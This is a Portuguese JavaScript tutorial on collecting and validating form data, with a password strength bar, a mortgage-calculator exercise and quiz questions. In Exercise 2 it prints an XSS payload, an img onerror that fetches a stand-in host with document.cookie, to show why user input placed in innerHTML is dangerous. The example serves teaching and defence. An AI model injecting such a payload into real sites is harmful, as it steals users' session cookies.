Formulários: validação e coleta de dados

[69] Formulários: validação e coleta de dados

Um campo de senha e outro de confirmação já mostram o limite do HTML sozinho: comparar dois campos é regra que só existe em JavaScript. Aqui entram o FormData e o Object.fromEntries, um sistema de validação em que cada regra devolve a mensagem ou null, o feedback no blur e a barra de força da senha.
Javascript

22 min de leitura

Formulários são a principal forma de comunicação entre o usuário e uma aplicação web. Login, cadastro, checkout, busca, contato — tudo passa por formulários. E trabalhar bem com eles exige muito mais do que um <form> no HTML.

Neste artigo vamos aprender a coletar dados de formulários, validar em tempo real, dar feedback visual e entregar uma experiência de qualidade ao usuário — tudo isso sem usar nenhuma biblioteca externa.

Estrutura HTML base

Vamos trabalhar com este formulário de cadastro ao longo do artigo:

<form id="form-cadastro" novalidate>

  <div class="campo">
    <label for="nome">Nome completo</label>
    <input type="text" id="nome" name="nome" placeholder="Seu nome completo">
    <span class="erro" id="erro-nome"></span>
  </div>

  <div class="campo">
    <label for="email">E-mail</label>
    <input type="email" id="email" name="email" placeholder="seu@email.com">
    <span class="erro" id="erro-email"></span>
  </div>

  <div class="campo">
    <label for="senha">Senha</label>
    <input type="password" id="senha" name="senha" placeholder="Mínimo 8 caracteres">
    <span class="erro" id="erro-senha"></span>
  </div>

  <div class="campo">
    <label for="confirmar">Confirmar senha</label>
    <input type="password" id="confirmar" name="confirmar" placeholder="Repita a senha">
    <span class="erro" id="erro-confirmar"></span>
  </div>

  <div class="campo">
    <label for="perfil">Perfil</label>
    <select id="perfil" name="perfil">
      <option value="">Selecione...</option>
      <option value="estudante">Estudante</option>
      <option value="profissional">Profissional</option>
      <option value="empresa">Empresa</option>
    </select>
    <span class="erro" id="erro-perfil"></span>
  </div>

  <div class="campo campo-check">
    <input type="checkbox" id="termos" name="termos">
    <label for="termos">Li e aceito os termos de uso</label>
    <span class="erro" id="erro-termos"></span>
  </div>

  <button type="submit" id="btn-enviar">Criar conta</button>

</form>

O atributo novalidate no <form> desativa a validação nativa do navegador — queremos controlar tudo nós mesmos.

Coletando dados do formulário

Existem várias formas de coletar dados. Veja as principais:

// Acessando campos individualmente
const nome = document.querySelector("#nome").value;
const email = document.querySelector("#email").value;

// FormData — coleta todos os campos de uma vez
const form = document.querySelector("#form-cadastro");

form.addEventListener("submit", (e) => {
  e.preventDefault();

  const dados = new FormData(form);

  // Acessar um campo pelo name
  console.log(dados.get("nome"));
  console.log(dados.get("email"));

  // Converter para objeto simples
  const objeto = Object.fromEntries(dados.entries());
  console.log(objeto);
  // { nome: "Ana", email: "ana@email.com", senha: "...", ... }
});

FormData é especialmente útil quando o formulário tem muitos campos — você não precisa selecionar cada um individualmente.

Tipos de campos e como ler seus valores

// Input de texto, email, password, number
const valor = document.querySelector("#nome").value; // string

// Checkbox
const aceito = document.querySelector("#termos").checked; // boolean

// Radio buttons — qual está marcado?
const genero = document.querySelector('input[name="genero"]:checked');
const valorGenero = genero ? genero.value : null;

// Select
const select = document.querySelector("#perfil");
const opcaoSelecionada = select.value;        // valor da option
const textoSelecionado = select.options[select.selectedIndex].text;

// Select múltiplo
const selectMultiplo = document.querySelector("#interesses");
const selecionados = Array.from(selectMultiplo.selectedOptions)
  .map(opt => opt.value);

// Input de arquivo
const arquivo = document.querySelector("#foto").files[0];
console.log(arquivo.name, arquivo.size, arquivo.type);

Sistema de validação

Vamos construir um sistema de validação modular e reutilizável:

// ── Regras de validação ────────────────────────────

const regras = {
  nome(valor) {
    if (!valor.trim()) return "Nome é obrigatório.";
    if (valor.trim().length < 3) return "Nome deve ter pelo menos 3 caracteres.";
    if (valor.trim().length > 80) return "Nome deve ter no máximo 80 caracteres.";
    if (!/^[a-zA-ZÀ-ÿ\s]+$/.test(valor)) return "Nome deve conter apenas letras.";
    return null; // null = válido
  },

  email(valor) {
    if (!valor.trim()) return "E-mail é obrigatório.";
    const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    if (!regex.test(valor)) return "E-mail inválido.";
    return null;
  },

  senha(valor) {
    if (!valor) return "Senha é obrigatória.";
    if (valor.length < 8) return "Senha deve ter pelo menos 8 caracteres.";
    if (!/[A-Z]/.test(valor)) return "Senha deve conter ao menos uma letra maiúscula.";
    if (!/[0-9]/.test(valor)) return "Senha deve conter ao menos um número.";
    return null;
  },

  confirmar(valor) {
    const senha = document.querySelector("#senha").value;
    if (!valor) return "Confirmação de senha é obrigatória.";
    if (valor !== senha) return "As senhas não coincidem.";
    return null;
  },

  perfil(valor) {
    if (!valor) return "Selecione um perfil.";
    return null;
  },

  termos(valor) {
    const checkbox = document.querySelector("#termos");
    if (!checkbox.checked) return "Você deve aceitar os termos de uso.";
    return null;
  },
};

Funções de feedback visual

// ── Funções de UI ──────────────────────────────────

function mostrarErro(campo, mensagem) {
  const input = document.querySelector(`#${campo}`);
  const erroSpan = document.querySelector(`#erro-${campo}`);

  input.classList.remove("valido");
  input.classList.add("invalido");
  erroSpan.textContent = mensagem;
}

function mostrarSucesso(campo) {
  const input = document.querySelector(`#${campo}`);
  const erroSpan = document.querySelector(`#erro-${campo}`);

  input.classList.remove("invalido");
  input.classList.add("valido");
  erroSpan.textContent = "";
}

function limparFeedback(campo) {
  const input = document.querySelector(`#${campo}`);
  const erroSpan = document.querySelector(`#erro-${campo}`);

  input.classList.remove("valido", "invalido");
  erroSpan.textContent = "";
}

// ── Validação de campo individual ─────────────────

function validarCampo(nomeCampo) {
  const input = document.querySelector(`#${nomeCampo}`);
  const valor = input.type === "checkbox" ? input.checked : input.value;
  const erro = regras[nomeCampo](valor);

  if (erro) {
    mostrarErro(nomeCampo, erro);
    return false;
  } else {
    mostrarSucesso(nomeCampo);
    return true;
  }
}

Validação em tempo real no blur

// ── Eventos de validação em tempo real ────────────

const campos = ["nome", "email", "senha", "confirmar", "perfil"];

campos.forEach(campo => {
  const input = document.querySelector(`#${campo}`);

  // Valida quando o campo perde foco
  input.addEventListener("blur", () => {
    validarCampo(campo);
  });

  // Limpa o erro enquanto digita (após ter sido tocado)
  input.addEventListener("input", () => {
    if (input.classList.contains("invalido")) {
      validarCampo(campo);
    }
  });
});

// Checkbox de termos
document.querySelector("#termos").addEventListener("change", () => {
  validarCampo("termos");
});

Validando o formulário completo no submit

// ── Submit ─────────────────────────────────────────

const form = document.querySelector("#form-cadastro");
const btnEnviar = document.querySelector("#btn-enviar");

form.addEventListener("submit", (e) => {
  e.preventDefault();

  // Valida todos os campos
  const todosCampos = ["nome", "email", "senha", "confirmar", "perfil", "termos"];
  const resultados = todosCampos.map(campo => validarCampo(campo));
  const formValido = resultados.every(resultado => resultado === true);

  if (!formValido) {
    // Foca no primeiro campo inválido
    const primeiroInvalido = form.querySelector(".invalido");
    if (primeiroInvalido) primeiroInvalido.focus();
    return;
  }

  // Coleta os dados
  const formData = new FormData(form);
  const dados = Object.fromEntries(formData.entries());

  // Remove a confirmação de senha — não precisamos enviar
  delete dados.confirmar;

  // Simula envio
  enviarFormulario(dados);
});

async function enviarFormulario(dados) {
  const btn = document.querySelector("#btn-enviar");

  // Estado de carregamento
  btn.disabled = true;
  btn.textContent = "Criando conta...";

  // Simula uma requisição (aprenderemos fetch no Módulo 3)
  await new Promise(resolve => setTimeout(resolve, 1500));

  console.log("Dados enviados:", dados);

  // Feedback de sucesso
  form.innerHTML = `
    <div class="sucesso">
      <div class="icone-sucesso">✅</div>
      <h2>Conta criada com sucesso!</h2>
      <p>Bem-vindo, <strong data-campo="nome"></strong>!</p>
      <p>Um e-mail de confirmação foi enviado para <strong data-campo="email"></strong>.</p>
    </div>
  `;

  // Os dois valores foram DIGITADOS pelo usuário, então não entram
  // no template acima: interpolar dado de fora no innerHTML é XSS.
  // O template traz só a marcação; o conteúdo entra por textContent.
  form.querySelector('[data-campo="nome"]').textContent = dados.nome;
  form.querySelector('[data-campo="email"]').textContent = dados.email;
}

Força da senha em tempo real

Um recurso muito comum — e útil para demonstrar como reagir a cada caractere digitado:

const inputSenha = document.querySelector("#senha");
const barraForca = document.createElement("div");
barraForca.id = "barra-forca";

// Insere a barra após o input de senha
inputSenha.after(barraForca);

function calcularForca(senha) {
  let pontos = 0;

  if (senha.length >= 8) pontos++;
  if (senha.length >= 12) pontos++;
  if (/[A-Z]/.test(senha)) pontos++;
  if (/[a-z]/.test(senha)) pontos++;
  if (/[0-9]/.test(senha)) pontos++;
  if (/[^A-Za-z0-9]/.test(senha)) pontos++; // caractere especial

  return pontos;
}

function atualizarBarraForca(senha) {
  const forca = calcularForca(senha);

  const niveis = [
    { min: 0, label: "",         cor: "transparent", largura: "0%" },
    { min: 1, label: "Muito fraca", cor: "#e53935",  largura: "20%" },
    { min: 2, label: "Fraca",    cor: "#fb8c00",     largura: "40%" },
    { min: 3, label: "Razoável", cor: "#fdd835",     largura: "60%" },
    { min: 4, label: "Boa",      cor: "#43a047",     largura: "80%" },
    { min: 5, label: "Forte",    cor: "#1b5e20",     largura: "100%" },
  ];

  const nivel = niveis[Math.min(forca, niveis.length - 1)];

  barraForca.innerHTML = `
    <div style="
      height: 4px;
      background: #eee;
      border-radius: 4px;
      margin-top: .35rem;
      overflow: hidden;
    ">
      <div style="
        height: 100%;
        width: ${nivel.largura};
        background: ${nivel.cor};
        border-radius: 4px;
        transition: width .3s, background .3s;
      "></div>
    </div>
    ${senha ? `<small style="color: ${nivel.cor}; font-weight: 600;">${nivel.label}</small>` : ""}
  `;
}

inputSenha.addEventListener("input", (e) => {
  atualizarBarraForca(e.target.value);
});

O CSS do formulário

* { box-sizing: border-box; margin: 0; padding: 0; }

body {
  font-family: 'Segoe UI', sans-serif;
  background: #f0f2f5;
  display: flex;
  justify-content: center;
  align-items: flex-start;
  min-height: 100vh;
  padding: 2rem 1rem;
}

form {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  width: 100%;
  max-width: 480px;
  box-shadow: 0 4px 24px rgba(0,0,0,.08);
}

.campo {
  margin-bottom: 1.25rem;
  display: flex;
  flex-direction: column;
  gap: .35rem;
}

label {
  font-size: .9rem;
  font-weight: 600;
  color: #333;
}

input, select {
  padding: .7rem 1rem;
  border: 2px solid #e0e0e0;
  border-radius: 8px;
  font-size: 1rem;
  transition: border-color .2s, box-shadow .2s;
}

input:focus, select:focus {
  outline: none;
  border-color: #5c6bc0;
  box-shadow: 0 0 0 3px rgba(92,107,192,.15);
}

input.valido   { border-color: #43a047; }
input.invalido { border-color: #e53935; }

.erro {
  font-size: .8rem;
  color: #e53935;
  min-height: 1rem;
}

.campo-check {
  flex-direction: row;
  align-items: center;
  flex-wrap: wrap;
  gap: .5rem;
}

.campo-check label { font-weight: 400; }

button[type="submit"] {
  width: 100%;
  padding: .85rem;
  background: #5c6bc0;
  color: white;
  border: none;
  border-radius: 8px;
  font-size: 1rem;
  font-weight: 700;
  cursor: pointer;
  margin-top: .5rem;
  transition: background .2s;
}

button[type="submit"]:hover:not(:disabled) { background: #3949ab; }
button[type="submit"]:disabled { opacity: .6; cursor: not-allowed; }

.sucesso {
  text-align: center;
  padding: 2rem 1rem;
}

.icone-sucesso { font-size: 3rem; margin-bottom: 1rem; }
.sucesso h2 { margin-bottom: .5rem; color: #1b5e20; }
.sucesso p { color: #555; margin-top: .5rem; }

Boas práticas com formulários

// ✅ 1. Sempre use e.preventDefault() no submit
form.addEventListener("submit", (e) => {
  e.preventDefault();
  // ...
});

// ✅ 2. Valide no cliente E no servidor — nunca só no cliente
// A validação no front-end é para UX — a do back-end é para segurança

// ✅ 3. Dê feedback imediato e específico
// ❌ "Dados inválidos." — inútil
// ✅ "O e-mail deve estar no formato nome@dominio.com" — útil

// ✅ 4. Nunca desabilite o botão de submit antes do usuário tentar
// Desabilite apenas durante o envio

// ✅ 5. Preserve os dados do usuário em caso de erro
// Nunca limpe o formulário quando há erro de validação

// ✅ 6. Use o atributo autocomplete apropriado
// <input autocomplete="email"> — ajuda o gerenciador de senhas e preenchimento

// ✅ 7. Associe labels aos inputs com for/id
// <label for="email"> + <input id="email"> — acessibilidade e UX

Tarefa para você

Crie um formulário de cálculo de financiamento com os campos:

- Valor do imóvel (number, mínimo R$ 50.000)
- Entrada (number, mínimo 20% do valor)
- Prazo em meses (select: 60, 120, 180, 240, 360)
- Taxa de juros anual (number, entre 0.1% e 20%)
- Nome do solicitante (text)

Ao submeter (com todos os campos válidos), exiba abaixo do formulário:

Resumo do Financiamento
- Valor financiado: R$ X
- Parcela mensal estimada: R$ X (usando a fórmula Price)
- Total pago: R$ X
- Total de juros: R$ X

A fórmula Price para cálculo de parcela:

// PMT = PV * (i * (1 + i)^n) / ((1 + i)^n - 1)
// PV = valor financiado, i = taxa mensal, n = prazo em meses
const taxaMensal = taxaAnual / 100 / 12;
const parcela = valorFinanciado *
  (taxaMensal * Math.pow(1 + taxaMensal, prazo)) /
  (Math.pow(1 + taxaMensal, prazo) - 1);
Ver solução — o formulário de financiamento, da validação à tabela Price
// ---- index.html
// <form id="form-financiamento" novalidate>
//   <label>Valor do imóvel
//     <input type="number" name="valor" min="50000" step="0.01" required>
//   </label>
//   <label>Entrada
//     <input type="number" name="entrada" min="0" step="0.01" required>
//   </label>
//   <label>Prazo
//     <select name="prazo" required>
//       <option value="">Selecione...</option>
//       <option value="60">60 meses</option>
//       <option value="120">120 meses</option>
//       <option value="180">180 meses</option>
//       <option value="240">240 meses</option>
//       <option value="360">360 meses</option>
//     </select>
//   </label>
//   <label>Taxa de juros anual (%)
//     <input type="number" name="taxa" min="0.1" max="20" step="0.01" required>
//   </label>
//   <label>Nome do solicitante
//     <input type="text" name="nome" required minlength="3">
//   </label>
//   <button type="submit">Calcular</button>
// </form>
// <div id="resumo" role="status"></div>

// ---- financiamento.js
// A matemática fica fora do DOM: assim dá para testá-la sem navegador.
function calcularPrice({ valor, entrada, prazo, taxaAnual }) {
  const financiado = valor - entrada;

  // Juros compostos: a taxa mensal é a raiz 12 da anual, não a anual
  // dividida por 12. A divisão simples é a convenção do enunciado e do
  // mercado imobiliário brasileiro — mas as duas não dão o mesmo número.
  const taxaMensal = taxaAnual / 100 / 12;

  // Taxa zero é caso legítimo e faria 0/0 na fórmula Price.
  const parcela =
    taxaMensal === 0
      ? financiado / prazo
      : (financiado * (taxaMensal * Math.pow(1 + taxaMensal, prazo))) /
        (Math.pow(1 + taxaMensal, prazo) - 1);

  const total = parcela * prazo;

  return { financiado, parcela, total, juros: total - financiado };
}

const reais = (n) =>
  n.toLocaleString("pt-BR", { style: "currency", currency: "BRL" });

// ---------------------------------------------------------------
// Validação — as regras que o HTML sozinho não expressa
// ---------------------------------------------------------------
// min/max/required no HTML já barram muita coisa, mas "entrada de pelo
// menos 20% do valor" depende de OUTRO campo. Isso é regra de negócio,
// e mora no JavaScript.
function validar({ valor, entrada, prazo, taxaAnual, nome }) {
  const erros = {};

  if (!Number.isFinite(valor) || valor < 50000) {
    erros.valor = "O valor do imóvel deve ser de pelo menos R$ 50.000,00.";
  }

  const minimoEntrada = valor * 0.2;
  if (!Number.isFinite(entrada) || entrada < minimoEntrada) {
    erros.entrada = `A entrada mínima é ${reais(minimoEntrada || 0)} (20%).`;
  } else if (entrada >= valor) {
    // Sem esta guarda, financiado <= 0 e a Price devolve parcela zero
    // ou negativa — resumo bonito e completamente errado.
    erros.entrada = "A entrada não pode ser igual ou maior que o valor do imóvel.";
  }

  if (![60, 120, 180, 240, 360].includes(prazo)) {
    erros.prazo = "Escolha um dos prazos disponíveis.";
  }

  if (!Number.isFinite(taxaAnual) || taxaAnual < 0.1 || taxaAnual > 20) {
    erros.taxa = "A taxa anual deve ficar entre 0,1% e 20%.";
  }

  if (nome.trim().length < 3) {
    erros.nome = "Informe o nome completo do solicitante.";
  }

  return erros;
}

// ---------------------------------------------------------------
// O formulário
// ---------------------------------------------------------------
const formulario = document.querySelector("#form-financiamento");
const resumo = document.querySelector("#resumo");

function lerCampos(form) {
  const dados = new FormData(form);

  // Todo valor de FormData é string — inclusive de <input type="number">.
  // Sem Number(), "100000" > "50000" compararia como texto e "9" seria
  // maior que "100000".
  return {
    valor: Number(dados.get("valor")),
    entrada: Number(dados.get("entrada")),
    prazo: Number(dados.get("prazo")),
    taxaAnual: Number(dados.get("taxa")),
    nome: String(dados.get("nome") ?? ""),
  };
}

function mostrarErros(erros) {
  formulario.querySelectorAll(".erro").forEach((e) => e.remove());
  formulario
    .querySelectorAll("[aria-invalid]")
    .forEach((c) => c.removeAttribute("aria-invalid"));

  for (const [campo, mensagem] of Object.entries(erros)) {
    const elemento = formulario.elements[campo];
    if (!elemento) continue;

    elemento.setAttribute("aria-invalid", "true");

    const aviso = document.createElement("p");
    aviso.classList.add("erro");
    aviso.textContent = mensagem;
    elemento.insertAdjacentElement("afterend", aviso);
  }

  // Leva o foco ao primeiro problema: sem isso, num formulário longo,
  // o usuário não vê o que deu errado.
  const primeiro = Object.keys(erros)[0];
  if (primeiro && formulario.elements[primeiro]) {
    formulario.elements[primeiro].focus();
  }
}

formulario.addEventListener("submit", (evento) => {
  // O submit padrão recarrega a página e some com tudo.
  evento.preventDefault();

  const campos = lerCampos(formulario);
  const erros = validar(campos);

  if (Object.keys(erros).length > 0) {
    mostrarErros(erros);
    resumo.textContent = "";
    return;
  }

  mostrarErros({});

  const { financiado, parcela, total, juros } = calcularPrice(campos);

  resumo.innerHTML = `
    <h3>Resumo do Financiamento</h3>
    <p>Solicitante: <strong></strong></p>
    <ul>
      <li>Valor financiado: <strong>${reais(financiado)}</strong></li>
      <li>Parcela mensal estimada: <strong>${reais(parcela)}</strong></li>
      <li>Total pago: <strong>${reais(total)}</strong></li>
      <li>Total de juros: <strong>${reais(juros)}</strong></li>
    </ul>
  `;

  // O nome é o único dado que veio digitado: entra por textContent,
  // fora do template. Interpolá-lo no innerHTML acima seria XSS.
  resumo.querySelector("p strong").textContent = campos.nome.trim();
});

// ---------------------------------------------------------------
// Conferindo a fórmula (roda no Node, sem navegador)
// ---------------------------------------------------------------
// 300.000 de imóvel, 60.000 de entrada, 360 meses, 9% ao ano:
console.log(
  calcularPrice({ valor: 300000, entrada: 60000, prazo: 360, taxaAnual: 9 })
);
// financiado: 240000 · parcela: 1931,09 · total: 695.193,94 · juros: 455.193,94
// Repare no tamanho dos juros: em 30 anos, quem financia 240 mil paga
// quase o dobro disso só de juros. O número não é erro da fórmula.

// Prova de sanidade: a soma das amortizações tem de fechar no valor
// financiado. Se a fórmula estiver errada, sobra ou falta dinheiro.
function conferir({ valor, entrada, prazo, taxaAnual }) {
  const { financiado, parcela } = calcularPrice({ valor, entrada, prazo, taxaAnual });
  const i = taxaAnual / 100 / 12;

  let saldo = financiado;
  for (let mes = 1; mes <= prazo; mes++) {
    saldo = saldo + saldo * i - parcela;
  }

  return saldo; // deve ser ~0 (só sobra o resíduo de ponto flutuante)
}

console.log(conferir({ valor: 300000, entrada: 60000, prazo: 360, taxaAnual: 9 }).toFixed(6));

Todo valor que vem de formulário é string, mesmo em <input type="number">. Sem Number(), "9" > "100000" é true e a validação passa batido. E validação de campo contra campo — "entrada ≥ 20% do valor" — o HTML não expressa: ou está no JavaScript, ou não existe.

Validação no navegador é conveniência, nunca segurança: ela serve para o usuário descobrir o erro antes de enviar, e qualquer pessoa a contorna com o DevTools aberto. O servidor valida tudo de novo, sem exceção. Dito isso, é no cliente que se ganha a experiência — FormData com Object.fromEntries resolve a coleta em duas linhas, e avisar do erro no blur, e não a cada tecla, é a diferença entre ajudar e atrapalhar quem ainda está digitando.

Fontes e Referências

Exercícios

Exercício 1

O usuário preencheu a idade com 30 e deixou o checkbox de termos desmarcado. O que sai em cada linha?

// <input type="number" name="idade">  <input type="checkbox" name="termos">
const dados = Object.fromEntries(new FormData(form).entries());

console.log(dados.termos);       // A
console.log("termos" in dados);  // B
console.log(typeof dados.idade); // C
console.log(dados.idade > 18);   // D
Ver resposta

✓ Resposta: A é undefined e B é false: checkbox desmarcado simplesmente não é enviado — não vira false, nem "", nem "off"; a chave não existe. Isso é comportamento de formulário HTML, não peculiaridade do JavaScript, e vale igual no back-end. Marcado, o valor seria "on", a menos que a tag traga um value próprio. C é "string", mesmo com type="number": FormData transporta texto. D é true, mas por acidente — o operador > converte os dois lados para número antes de comparar. Troque por dados.idade > "18", ou compare com outra string, e a comparação passa a ser alfabética, onde "9" é maior que "100". Converta ao ler, com Number(). E há uma terceira armadilha no Object.fromEntries: com vários campos de mesmo name, como um grupo de checkboxes, só o último sobrevive — nesse caso use formData.getAll("nome").

Exercício 2

Esta era a mensagem de sucesso antes da correção. Alguém se cadastra com o nome abaixo. O que acontece na tela?

// nome digitado: <img src="x" onerror="fetch('//evil.tld?c='+document.cookie)">

form.innerHTML = `
  <div class="sucesso">
    <h2>Conta criada com sucesso!</h2>
    <p>Bem-vindo, <strong>${dados.nome}</strong>!</p>
  </div>
`;
Ver resposta

✓ Resposta: A tela mostra "Bem-vindo, !" e, sem nenhum aviso, os cookies da sessão saem para o servidor do atacante. O template literal só monta a string; quem interpreta é o innerHTML, e para ele não existe diferença entre a marcação que você escreveu e a que veio do campo de nome — tudo é parseado igual. A imagem aponta para um recurso inexistente, o carregamento falha, o onerror dispara e o JavaScript embutido roda com todos os privilégios da página. Repare que a validação do artigo não impede isso: a regra de nome só roda no blur e no submit, e um atacante não usa o formulário — envia a requisição direto. Daí a regra ter duas metades inseparáveis: validar no servidor, porque validação de cliente não é barreira de segurança; e, na hora de exibir, manter dado de usuário fora do innerHTML, escrevendo-o por textContent num elemento que o template já criou vazio.

Exercício 3

O campo é <input type="number" id="idade"> e o usuário digitou abc — o navegador aceitou as letras na caixa. O que sai?

const input = document.querySelector("#idade");

console.log(input.value);              // A
console.log(Number(input.value));      // B
console.log(input.validity.badInput);  // C
console.log(input.validity.valueMissing); // D
Ver resposta

✓ Resposta: A é a string vazia "". Num input numérico, quando o conteúdo não é um número válido, a propriedade value não devolve o texto digitado — devolve vazio, e o que o usuário vê na caixa deixa de corresponder ao que o seu código lê. B é 0, porque Number("") é zero: uma validação escrita como Number(valor) >= 0 aprova o lixo em silêncio. C é true e D é false — e é justamente o objeto validity que distingue "está vazio" de "tem algo que não é número", diferença invisível pelo value. Vale notar que o novalidate do formulário do artigo não desliga isso: ele suprime as bolhas de erro do navegador e a trava no envio, mas validity, checkValidity() e o seletor :invalid continuam funcionando, prontos para serem usados pela sua própria camada de validação.

Exercício 4

A regra de confirmação lê a senha direto do DOM. O usuário preenche os dois campos iguais, os dois ficam verdes — e então ele volta e muda a senha. O que aparece na tela?

confirmar(valor) {
  const senha = document.querySelector("#senha").value;
  if (valor !== senha) return "As senhas não coincidem.";
  return null;
},

// os listeners registrados para cada campo:
input.addEventListener("blur",  () => validarCampo(campo));
input.addEventListener("input", () => {
  if (input.classList.contains("invalido")) validarCampo(campo);
});
Ver resposta

✓ Resposta: Os dois campos continuam verdes, embora já não coincidam. O campo de confirmação só é revalidado quando ele recebe um evento, e o usuário não encostou nele — mexeu na senha. É a característica das regras que comparam campos: elas têm dois lados, e precisam ser reexecutadas a partir de ambos. A correção é revalidar o dependente quando o outro muda: no listener da senha, chamar também validarCampo("confirmar") — com a ressalva de só fazer isso se a confirmação já tiver sido preenchida, para não acusar erro num campo que o usuário ainda nem visitou. Há um segundo detalhe escondido no listener de input: ele só revalida quando o campo já está marcado como inválido. A escolha é deliberada e boa para quem está digitando — ninguém quer ver "e-mail inválido" na terceira letra —, mas tem o efeito colateral de um campo verde só perder o verde no blur. Nenhum dos dois casos deixa passar dados errados, porque o submit revalida tudo; o que fica errado é a informação na tela, e é isso que o usuário usa para decidir se pode enviar.

Exercício 5

Esta é a regra de nome do artigo. Quais destes quatro nomes ela aceita?

if (!/^[a-zA-ZÀ-ÿ\s]+$/.test(valor)) return "Nome deve conter apenas letras.";

// 1. "José da Silva"
// 2. "O'Brien"
// 3. "Ana ÷ Paula"
// 4. "Đăng Nguyễn"
Ver resposta

✓ Resposta: Passam o 1 e o 3; são recusados o 2 e o 4. O intervalo À-ÿ não é uma lista de letras acentuadas: é um trecho contíguo da tabela Unicode, e nele moram também × (multiplicação) e ÷ (divisão), que entram como se fossem letra. Ao mesmo tempo, o intervalo termina em ÿ e deixa de fora tudo o que vem depois — o Đ, o ă e o do quarto nome, além de grego, cirílico, árabe e ideogramas. Já o apóstrofo do segundo cai fora por não ser letra em lugar nenhum, apesar de ser parte legítima de sobrenomes comuns. A forma correta em JavaScript moderno é pedir a categoria Unicode em vez de um intervalo: /^[\p{L}\p{M}'\s.-]+$/u, com a flag u obrigatória. Mas o conselho mais útil vem antes da expressão: nome de pessoa quase não tem regra confiável, e validação apertada demais nesse campo rejeita gente de verdade. Limitar o tamanho e exigir que não esteja vazio costuma ser tudo o que se ganha com segurança.

Comentários

Mais em Javascript

Arrays: criando e manipulando listas
Arrays: criando e manipulando listas

O sort() sem argumento ordena como se tudo fosse texto, e aí 10 vem antes de…

Criando e Removendo Elementos Dinamicamente
Criando e Removendo Elementos Dinamicamente

Boa parte de uma interface não está no HTML quando a página carrega — quem a…

Criando um servidor HTTP com Node.js puro
Criando um servidor HTTP com Node.js puro

Um require de http, uma função de dois argumentos, e o servidor está de pé. O…